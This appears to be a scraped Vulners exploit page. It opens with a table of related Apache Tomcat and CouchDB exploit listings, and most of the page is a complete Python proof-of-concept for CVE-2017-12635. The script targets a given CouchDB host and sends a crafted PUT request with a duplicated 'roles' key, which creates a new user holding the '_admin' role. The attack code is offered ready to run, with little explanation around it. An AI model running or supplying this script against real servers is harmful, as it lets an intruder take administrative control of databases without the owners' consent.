| Reporter | Title | Published | Views | Family All 55 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 16 May 202116:14 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 27 Apr 202114:33 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 22 Oct 202115:45 | – | gitee | |
| Apache CouchDB Remote Code Execution Vulnerability | 30 Nov 201700:00 | – | zdt | |
| Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Exploit | 23 Apr 201800:00 | – | zdt | |
| Apache CouchDB < 2.1.0 - Remote Code Execution Exploit | 20 Jun 201800:00 | – | zdt | |
| Apache #CouchDB Arbitrary Command Execution Exploit | 13 Jul 201800:00 | – | zdt | |
| couchdb -- multiple vulnerabilities | 14 Nov 201700:00 | – | freebsd | |
| Exploit for Improper Privilege Management in Apache Couchdb | 29 May 202619:32 | – | githubexploit | |
| [ASA-201711-24] couchdb: multiple issues | 16 Nov 201700:00 | – | archlinux |
#!/usr/bin/env python
'''
@author: r4wd3r
@license: MIT License
@contact: [email protected]
'''
import argparse
import re
import sys
import requests
parser = argparse.ArgumentParser(
description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
' (CVE-2017-12635)')
parser.add_argument('host', help='Host to attack.', type=str)
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
parser.add_argument('-u', '--user', help='Username to create as admin.',
type=str, default='couchara')
parser.add_argument('-P', '--password', help='Password of the created user.',
type=str, default='couchapass')
args = parser.parse_args()
host = args.host
port = args.port
user = args.user
password = args.password
pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
if not pat_ip.match(host):
print "[x] Wrong host. Must be a valid IP address."
sys.exit(1)
print "[+] User to create: " + user
print "[+] Password: " + password
print "[+] Attacking host " + host + " on port " + port
url = 'http://' + host + ':' + port
try:
rtest = requests.get(url, timeout=10)
except requests.exceptions.Timeout:
print "[x] Server is taking too long to answer. Exiting."
sys.exit(1)
except requests.ConnectionError:
print "[x] Unable to connect to the remote host."
sys.exit(1)
# Payload for creating user
cu_url_payload = url + "/_users/org.couchdb.user:" + user
cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'
try:
rcu = requests.put(cu_url_payload, data=cu_data_payload)
except requests.exceptions.HTTPError:
print "[x] ERROR: Unable to create the user on remote host."
sys.exit(1)
if rcu.status_code == 201:
print "[+] User " + user + " with password " + password + " successfully created."
sys.exit(0)
else:
print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host."Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation